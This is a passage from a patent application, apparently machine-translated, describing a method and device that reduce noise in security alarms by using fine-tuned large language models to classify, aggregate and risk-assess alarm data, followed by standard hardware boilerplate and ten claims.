[0181] In this embodiment, the semantic understanding and generalization capabilities of the second model are utilized to analyze multiple second alarm data to be processed, providing correct evaluation results and processing strategies. This improves the accuracy and generalization capabilities of alarm noise reduction, as well as the efficiency and precision of safety operations.

[0182] During training, it is necessary to acquire a second alarm data sample set and its labeled data. Based on the second alarm data sample set and its labeled data, the large language model is fine-tuned to obtain a second large model. This enhances the model's ability to generalize data, enabling it to adapt to security alarm data from different sources and of different types, and to quickly adapt to new security threats and events.

[0183] Among them, the labeled data of the second alarm data sample set is the evaluation results and processing strategies of each second alarm data sample labeled in the manually labeled second alarm data sample set.

[0184] Furthermore, when fine-tuning the large language model based on the labeled data of the second alarm data set, special optimization techniques, such as adversarial training and cyclical learning rate adjustment, are employed to improve the model's generalization ability. Simultaneously, regularization methods, such as weight decay and label smoothing, are introduced to alleviate overfitting issues. Ultimately, a second large model that can efficiently adapt to the target scenario is obtained, significantly improving the model's performance on security alarm data.

[0185] The second, fine-tuned model, i.e. the pre-trained second model, is used to evaluate multiple second-pending alarm data in the second candidate set, and output the evaluation results and processing strategies for each second-pending alarm data, thereby improving the efficiency and accuracy of security operations.

[0186] In some embodiments, after determining the evaluation result and processing strategy for each second alarm data to be processed, step 205 can be performed to process multiple second alarm data to be processed based on the evaluation result and processing strategy for each second alarm data to be processed.

[0187] In another embodiment, after determining the evaluation result and processing strategy for each second alarm data to be processed, the evaluation result and processing strategy for each second alarm data to be processed can also be displayed to the user through a display interface, so that the user can perform corresponding manual processing on multiple second alarm data to be processed according to the evaluation result and processing strategy for each second alarm data to be processed.

[0188] Based on the preceding description, multiple pending alarm data and their attribute information are obtained; the multiple pending alarm data are classified to obtain the alarm category of each pending alarm data and a first candidate set including multiple first pending alarm data that are correctly reported; based on the attribute information of the multiple first pending alarm data, the multiple first pending alarm data are aggregated to obtain a second candidate set including multiple second pending alarm data; a risk assessment is performed on each second pending alarm data to obtain the assessment result and processing strategy for each second pending alarm data; based on the assessment result and processing strategy for each second pending alarm data, the multiple second pending alarm data are processed respectively.

[0189] Therefore, by leveraging the semantic understanding and generalization capabilities of the first major model, various heterogeneous input data are processed, capturing key information with different formats and semantics. Multiple alarm data to be processed are first screened, then alarm fingerprints are used for a second screening. Finally, the semantic understanding and generalization capabilities of the second major model are used to analyze multiple second alarm data to be processed, providing correct evaluation results and processing strategies. This effectively integrates heterogeneous alarm data, eliminates noise in heterogeneous alarm data, improves the accuracy and generalization capability of alarm noise reduction, and enhances the efficiency and accuracy of safety operations.

[0190] Based on the same technical concept, this application also provides an alarm data processing device. The principle of the alarm data processing device in solving the problem is similar to that of the alarm data processing method described above. Therefore, the implementation of the alarm data processing device can refer to the implementation of the alarm data processing method, and the repeated parts will not be described again.

[0191] Figure 8 This is a schematic diagram of the structure of an alarm data processing device provided in an embodiment of this application. The device includes an acquisition module 801, a classification module 802, an aggregation module 803, an analysis module 804, and a processing module 805, wherein:

[0192] The acquisition module 801 is used to acquire multiple pending alarm data and the attribute information of each pending alarm data.

[0193] The classification module 802 is used to classify multiple pending alarm data to obtain the alarm category of each pending alarm data and a first candidate set; the first candidate set includes multiple first pending alarm data whose alarm category is correct.

[0194] The aggregation module 803 is used to aggregate multiple first-to-be-processed alarm data based on the attribute information of multiple first-to-be-processed alarm data to obtain a second candidate set; the second candidate set includes multiple second-to-be-processed alarm data.

[0195] The analysis module 804 is used to perform risk assessment on each of the multiple second-to-be-processed alarm data, and obtain the assessment results and processing strategies for each second-to-be-processed alarm data;

[0196] The processing module 805 is used to process multiple second alarm data to be processed based on the evaluation results and processing strategies of each second alarm data to be processed.

[0197] In some embodiments, the classification module 802 is specifically used for:

[0198] Multiple pieces of alarm data to be processed are input into the first pre-trained model to obtain the alarm category of each piece of alarm data to be processed;

[0199] The first major model is obtained by training a large language model using the first alarm data sample set and the alarm categories labeled for each first alarm data sample in the first alarm data sample set.

[0200] In some embodiments, the classification module 802 is further configured to:

[0201] Compare multiple pending alarm data entries with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is identical to the alarm data in the stored security knowledge database; and / or,

[0202] Based on the configured classification rules, some of the pending alarm data from multiple pending alarm data are classified and processed to determine the alarm category corresponding to each of the pending alarm data.

[0203] In some embodiments, the analysis module 804 is specifically used for:

[0204] Multiple second alarm data to be processed are input into the pre-trained second large model to obtain the evaluation results and processing strategies for each second alarm data to be processed.

[0205] The second major model is obtained by training the large language model using the second alarm data sample set, as well as the evaluation results and processing strategies for labeling each second alarm data sample in the second alarm data sample set.

[0206] In some embodiments, the aggregation module 803 is specifically used for:

[0207] Based on the attribute information of multiple first-to-be-processed alarm data, at least one first-to-be-processed alarm data with the same alarm fingerprint is identified;

[0208] At least one first pending alarm data is aggregated to obtain at least one second pending alarm data corresponding to the first pending alarm data, and a second candidate set is generated.

[0209] In some embodiments, the aggregation module 803 is specifically used for:

[0210] Based on the attribute information of multiple first-to-be-processed alarm data, feature extraction is performed on multiple first-to-be-processed alarm data to obtain feature vectors of multiple first-to-be-processed alarm data;

[0211] For each of the two pending alarm data:

[0212] Based on the feature vectors of the two first alarm data to be processed, the similarity between the two first alarm data to be processed is determined.

[0213] If the similarity between two first-to-be-processed alarm data is greater than the similarity threshold, then the alarm fingerprints of the two first-to-be-processed alarm data are determined to be the same.

[0214] The module division in this application embodiment is illustrative and only represents one logical functional division. In actual implementation, other division methods are possible. Furthermore, the functional modules in each embodiment of this application can be integrated into a single processor, exist as separate physical entities, or be integrated into a single module. Coupling between modules can be achieved through interfaces, typically electrical communication interfaces, but mechanical interfaces or other types of interfaces are also possible. Therefore, modules described as separate components may or may not be physically separate; they can be located in one place or distributed across different locations on the same or different devices. The integrated modules described above can be implemented in hardware or as software functional modules.

[0215] After introducing a method and apparatus for processing alarm data according to an exemplary embodiment of this application, an electronic device according to another exemplary embodiment of this application will be introduced next.

[0216] The following reference Figure 9 To describe an electronic device 130 implemented according to this embodiment of the present application. Figure 9 The electronic device 130 shown is merely an example and should not impose any limitations on the functionality and scope of use of the embodiments of this application.

[0217] like Figure 9As shown, the electronic device 130 is represented in the form of a general electronic device. The components of the electronic device 130 may include, but are not limited to: at least one processor 131, at least one memory 132, and a bus 133 connecting different system components (including memory 132 and processor 131).

[0218] At least one memory 132 stores a computer program that can be executed by at least one processor 131. When the computer program is executed by at least one processor 131, it can cause at least one processor 131 to perform the steps of any alarm data processing method provided in the embodiments of this application.

[0219] Bus 133 represents one or more of several bus structures, including a memory bus or memory controller, peripheral bus, processor, or local bus using any of the various bus structures.

[0220] The memory 132 may include a readable medium in the form of volatile memory, such as random access memory (RAM) 1321 and / or cache memory 1322, and may further include read-only memory (ROM) 1323.

[0221] The memory 132 may also include a program / utility 1325 having a set (at least one) of program modules 1324, including but not limited to: an operating system, one or more application programs, other program modules, and program data, each or some combination of these examples may include an implementation of a network environment.

[0222] Electronic device 130 can also communicate with one or more external devices 134 (e.g., keyboard, pointing device, etc.), and with one or more devices that enable a user to interact with electronic device 130, and / or with any device that enables electronic device 130 to communicate with one or more other electronic devices (e.g., router, modem, etc.). This communication can be performed via input / output (I / O) interface 135. Furthermore, electronic device 130 can also communicate with one or more networks (e.g., local area network (LAN), wide area network (WAN), and / or public networks, such as the Internet) via network adapter 136. As shown, network adapter 136 communicates with other modules used in electronic device 130 via bus 133. It should be understood that, although not shown in the figures, other hardware and / or software modules can be used in conjunction with electronic device 130, including but not limited to: microcode, device drivers, redundant processors, external disk drive arrays, RAID systems, tape drives, and data backup storage systems.

[0223] In an exemplary embodiment, a computer storage medium is also provided, which, when a computer program in the computer storage medium is executed by a processor of an electronic device, enables the electronic device to perform any of the above-described alarm data processing methods. Optionally, the storage medium may be a non-transitory computer-readable storage medium, such as a ROM, random access memory (RAM), CD-ROM, magnetic tape, floppy disk, and optical data storage device.

[0224] In an exemplary embodiment, a computer program product is also provided, which, when executed by an electronic device, enables the electronic device to implement the steps of any alarm data processing method provided in this application.

[0225] Furthermore, computer program products may employ any combination of one or more readable media. A readable medium may be a readable signal medium or a readable storage medium. A readable storage medium may be, for example, but not limited to, an electrical, magnetic, optical, electromagnetic, infrared, or semiconductor system, apparatus, or device, or any combination thereof. More specific examples of readable storage media (a non-exhaustive list) include: electrical connections having one or more wires, portable disks, hard disks, RAM, ROM, erasable programmable read-only memory (EPROM), flash memory, optical fiber, compact disk read-only memory (CD-ROM), optical storage devices, magnetic storage devices, or any suitable combination thereof.

[0226] The program product for device discovery in this application embodiment may be a CD-ROM and include program code, and may run on a computing device. However, the program product of this application is not limited thereto. In this document, the readable storage medium may be any tangible medium that contains or stores a program that may be used by or in conjunction with an instruction execution system, apparatus, or device.

[0227] A readable signal medium may include a data signal propagated in baseband or as part of a carrier wave, carrying readable program code. This propagated data signal may take various forms, including but not limited to electromagnetic signals, optical signals, or any suitable combination thereof. A readable signal medium may also be any readable medium other than a readable storage medium, capable of sending, propagating, or transmitting a program for use by or in conjunction with an instruction execution system, apparatus, or device.

[0228] The program code contained on the readable medium may be transmitted using any suitable medium, including but not limited to wireless, wired, optical fiber, radio frequency (RF), or any suitable combination thereof.

[0229] Program code for performing the operations of this application can be written in any combination of one or more programming languages, including object-oriented programming languages ​​such as Java and C++, as well as conventional procedural programming languages ​​such as C or similar languages. The program code can execute entirely on the user's computing device, partially on the user's computing device, as a standalone software package, partially on the user's computing device and partially on a remote computing device, or entirely on a remote computing device or server. In cases involving remote computing devices, the remote computing device can be connected to the user's computing device via any type of network, such as a Local Area Network (LAN) or a Wide Area Network (WAN), or it can be connected to an external computing device (e.g., via the Internet using an Internet service provider).

[0230] It should be noted that although several units or sub-units of the device have been mentioned in the detailed description above, this division is merely exemplary and not mandatory. In fact, according to embodiments of this application, the features and functions of two or more units described above can be embodied in one unit. Conversely, the features and functions of one unit described above can be further divided and embodied by multiple units.

[0231] Furthermore, although the operations of the method of this application are described in a specific order in the accompanying drawings, this does not require or imply that these operations must be performed in that specific order, or that all the operations shown must be performed to achieve the desired result. Additionally or alternatively, certain steps may be omitted, multiple steps may be combined into one step, and / or one step may be broken down into multiple steps.

[0232] Those skilled in the art will understand that embodiments of this application can be provided as methods, systems, or computer program products. Therefore, this application can take the form of a completely hardware embodiment, a completely software embodiment, or an embodiment combining software and hardware aspects. Furthermore, this application can take the form of a computer program product embodied on one or more computer-usable storage media (including but not limited to disk storage, CD-ROM, optical storage, etc.) containing computer-usable program code.

[0233] This application is described with reference to flowchart illustrations and / or block diagrams of methods, apparatus (systems), and computer program products according to embodiments of this application. It will be understood that each block of the flowchart illustrations and / or block diagrams, and combinations of blocks in the flowchart illustrations and / or block diagrams, can be implemented by computer program instructions. These computer program instructions can be provided to a processor of a general-purpose computer, special-purpose computer, embedded processor, or other programmable data processing apparatus to produce a machine, such that the instructions, which execute via the processor of the computer or other programmable data processing apparatus, generate instructions for implementing the flowchart... Figure 1 One or more processes and / or boxes Figure 1 A device that provides the functions specified in one or more boxes.

[0234] These computer program instructions may also be stored in a computer-readable storage medium that can direct a computer or other programmable data processing device to function in a particular manner, such that the instructions stored in the computer-readable storage medium produce an article of manufacture including instruction means, which are implemented in a process Figure 1 One or more processes and / or boxes Figure 1 The function specified in one or more boxes.

[0235] These computer program instructions may also be loaded onto a computer or other programmable data processing equipment to cause a series of operational steps to be performed on the computer or other programmable equipment to produce a computer-implemented process, thereby providing instructions that execute on the computer or other programmable equipment for implementing the process. Figure 1 One or more processes and / or boxes Figure 1 The steps of the function specified in one or more boxes.

[0236] Although preferred embodiments of this application have been described, those skilled in the art, upon learning the basic inventive concept, can make other changes and modifications to these embodiments. Therefore, the appended claims are intended to be interpreted as including the preferred embodiments as well as all changes and modifications falling within the scope of this application.

[0237] Obviously, those skilled in the art can make various modifications and variations to this application without departing from the spirit and scope of this application. Therefore, if such modifications and variations fall within the scope of the claims of this application and their equivalents, then this application also includes such modifications and variations.

Claims

1. A method for processing alarm data, characterized in that, The method includes: Obtain multiple pending alarm data and the attribute information of each pending alarm data; The multiple pending alarm data are classified to obtain the alarm category of each pending alarm data and a first candidate set; the first candidate set includes multiple first pending alarm data whose alarm category is correct. Based on the attribute information of the multiple first-to-be-processed alarm data, the multiple first-to-be-processed alarm data are aggregated to obtain a second candidate set; the second candidate set includes multiple second-to-be-processed alarm data. A risk assessment is performed on each of the multiple second pending alarm data to obtain the assessment result and processing strategy for each second pending alarm data; Based on the evaluation results and processing strategies for each second pending alarm data, the multiple second pending alarm data are processed respectively.

2. The method as described in claim 1, characterized in that, The process of classifying the multiple pending alarm data to obtain the alarm category for each pending alarm data includes: The multiple alarm data to be processed are input into the first pre-trained model to obtain the alarm category of each alarm data to be processed; The first large model is obtained by training a large language model using a first alarm data sample set and alarm categories labeled for each first alarm data sample in the first alarm data sample set.

3. The method as described in claim 2, characterized in that, Before inputting the multiple unprocessed alarm data into the pre-trained first large model to obtain the alarm category of each unprocessed alarm data, the classification processing of the multiple unprocessed alarm data further includes: The multiple pending alarm data are compared with alarm data in the stored security knowledge database to determine the alarm category of the pending alarm data that is identical to the alarm data in the stored security knowledge database; and / or, Based on the configured classification rules, some of the pending alarm data are classified and processed to determine the alarm category corresponding to each of the pending alarm data.

4. The method as described in claim 1, characterized in that, The step of performing a risk assessment on each of the multiple pending second alarm data to obtain the assessment result and processing strategy for each pending second alarm data includes: The multiple second alarm data to be processed are input into the pre-trained second large model to obtain the evaluation result and processing strategy for each second alarm data to be processed; The second major model is obtained by training the large language model using the second alarm data sample set, as well as the evaluation results and processing strategies for labeling each second alarm data sample in the second alarm data sample set.

5. The method as described in claim 1, characterized in that, Based on the attribute information of the multiple first unprocessed alarm data, the multiple first unprocessed alarm data are aggregated to obtain a second candidate set, including: Based on the attribute information of the multiple first alarm data to be processed, at least one first alarm data with the same alarm fingerprint is determined; The at least one first unprocessed alarm data is aggregated to obtain the second unprocessed alarm data corresponding to the at least one first unprocessed alarm data, and a second candidate set is generated.

6. The method as described in claim 5, characterized in that, The step of determining at least one first alarm data with the same alarm fingerprint based on the attribute information of the multiple first alarm data to be processed includes: Based on the attribute information of the multiple first alarm data to be processed, feature extraction is performed on the multiple first alarm data to be processed to obtain the feature vector of the multiple first alarm data to be processed. For each of the two pending alarm data: Based on the feature vectors of the two first alarm data to be processed, the similarity between the two first alarm data to be processed is determined; If the similarity between the two first alarm data to be processed is greater than the similarity threshold, then it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

7. The method according to any one of claims 1-6, characterized in that, The attribute information includes the timestamp, attack type, source IP, destination IP, and port number of the alarm data to be processed.

8. An alarm data processing device, characterized in that, The device includes: The acquisition module is used to acquire multiple pending alarm data and the attribute information of each pending alarm data. The classification module is used to classify the multiple alarm data to be processed, to obtain the alarm category of each alarm data to be processed, and a first candidate set; the first candidate set includes multiple first alarm data to be processed whose alarm category is correct. An aggregation module is used to aggregate the multiple first-to-be-processed alarm data based on the attribute information of the multiple first-to-be-processed alarm data to obtain a second candidate set; the second candidate set includes multiple second-to-be-processed alarm data. The analysis module is used to perform risk assessment on each of the multiple second-to-be-processed alarm data, and obtain the assessment result and processing strategy for each second-to-be-processed alarm data; The processing module is used to process the multiple second alarm data to be processed based on the evaluation results and processing strategies of each second alarm data to be processed.

9. An electronic device, characterized in that, include: At least one processor, and a memory communicatively connected to said at least one processor, wherein: The memory stores a computer program that can be executed by the at least one processor to enable the at least one processor to perform the method as described in any one of claims 1-7.

10. A computer storage medium, characterized in that, When the computer program in the computer storage medium is executed by the processor of the electronic device, the electronic device is capable of performing the method as described in any one of claims 1-7.

Images